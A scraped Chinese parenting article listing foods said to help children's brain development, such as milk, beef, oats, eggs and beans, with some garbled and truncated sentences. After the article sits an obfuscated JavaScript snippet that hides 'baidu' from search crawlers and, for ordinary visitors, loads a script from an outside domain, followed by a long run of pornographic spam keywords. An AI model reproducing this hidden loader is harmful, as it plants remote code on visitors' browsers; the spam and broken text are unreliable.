當(dāng)前位置:首頁 > 母嬰 > 寶寶飲食 > 正文

小孩子吃什么能補(bǔ)腦比較好?

2017-04-06 13:39:40  來源:360常識網(wǎng)   熱度:
導(dǎo)語:小孩子的免疫系統(tǒng)而且器官發(fā)育比起成年人來說還未發(fā)育完全,抵抗力還有免疫力來說都比較差,而且小孩子還處于長高的階段,因此在吃的方面就

小孩子的免疫系統(tǒng)而且器官發(fā)育比起成年人來說還未發(fā)育完全,抵抗力還有免疫力來說都比較差,而且小孩子還處于長高的階段,因此在吃的方面就需要多加重視和留意,尤其是在吃的方面就使家長愁。吃什么對小孩能補(bǔ),而且不會對小孩造成什么副作用,下面小編推薦幾種對小孩有益處的食物。

牛奶等乳制品

牛奶含有人體所需要的全部必需氨基酸以及我們身體需要的維生素A、B1、B2、C、鋅、鐵、硒等維生素和礦物質(zhì),對于促進(jìn)兒童生長發(fā)育和腦部的發(fā)育都有很大的好處。

瘦牛肉中含有豐富的Fe,F(xiàn)e是一種重要的礦物質(zhì),能幫助孩子保持活力和集中注意力。也是一種很好的健腦食物。

一些蔬菜 如西紅柿、胡蘿卜、紅薯、南瓜、菠菜等一些顏色深而鮮艷的蔬菜都是富含比較豐富的抗氧化劑的,抗氧化劑能保持兒童大腦的健康活力。

燕麥 燕麥富含豐富的維他命、纖維素、鋅、鉀等元素,作為早餐食用,能為孩子提供一天的能量,同時也是很好的健腦食品。

都知道,蛋類含有豐富的蛋白質(zhì),是天然食物中最好的蛋白質(zhì)之一。蛋類含有能有助于提升兒童記憶力的膽堿,多吃一些蛋類,能讓孩子變得更聰明哦。

的肉中含有對人體神經(jīng)系統(tǒng)具有保護(hù)作用的歐米伽3脂肪酸,此種物質(zhì)有助于提高腦細(xì)胞的活性增強(qiáng)記憶能力和理解能力,對兒童健腦效果十分顯著。

豆類

豆類含有豐富的蛋白質(zhì)、維生素A、維生素B以及碳水化合物。其中以谷氨酸的含量最豐富,谷氨酸是兒童大腦賴以活動的物質(zhì)基礎(chǔ)。因此孩子經(jīng)常吃豆類十分有利于大腦的發(fā)育。

千萬別亂給孩子補(bǔ)腦

多吃上述食品

事實(shí)上小孩除了要吃上面小編介紹的這幾種對于身體來說比較有益處的食物以外,還有很多食物對小孩有很好補(bǔ)。但是想要小孩子身體健康的話還可以讓他進(jìn)行運(yùn)動,那樣對于小孩增強(qiáng)免疫力還有抵抗力這些都有很好的作用。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产69精品久久久久999三级| 日韩精品无码免费专区午夜| 国产精品久久久久一区二区| 精品国产自在久久| 国产精品第44页| 一本大道无码人妻精品专区| 久久国产精品免费一区| 亚洲精品成人网站在线观看| 国产精品露脸国语对白| 色妞ww精品视频7777| 亚洲精品高清国产麻豆专区| 99精品热这里只有精品 | 91精品啪在线观看国产电影| 久久精品国产久精国产果冻传媒 | 国产四虎精品8848hh| 国产精品99久久久久久猫咪| 国产在线精品一区二区在线观看| 亚洲AV日韩精品久久久久久| 2021国产成人精品国产| 韩国精品一区视频在线播放| 亚洲精品无码久久毛片| 国产乱码精品一区二区三区中文| 99热这里只有精品免费播放| 亚洲av永久无码精品秋霞电影秋| 国产精品伦理一二三区伦理| 东京热TOKYO综合久久精品| 久久精品人人爽人人爽快| 精品国产aⅴ无码一区二区| 精品极品三级久久久久| 国产精品小视频免费无限app | 亚洲国产午夜中文字幕精品黄网站| 国产揄拍国产精品| 亚洲高清日韩精品第一区| 蜜桃精品免费久久久久影院| 黄床大片免费30分钟国产精品| 久久成人精品视频| 精品乱码一卡2卡三卡4卡网| 一区二区三区四区精品| 少妇人妻偷人精品无码视频| 午夜福利麻豆国产精品| 久久国产热这里只有精品|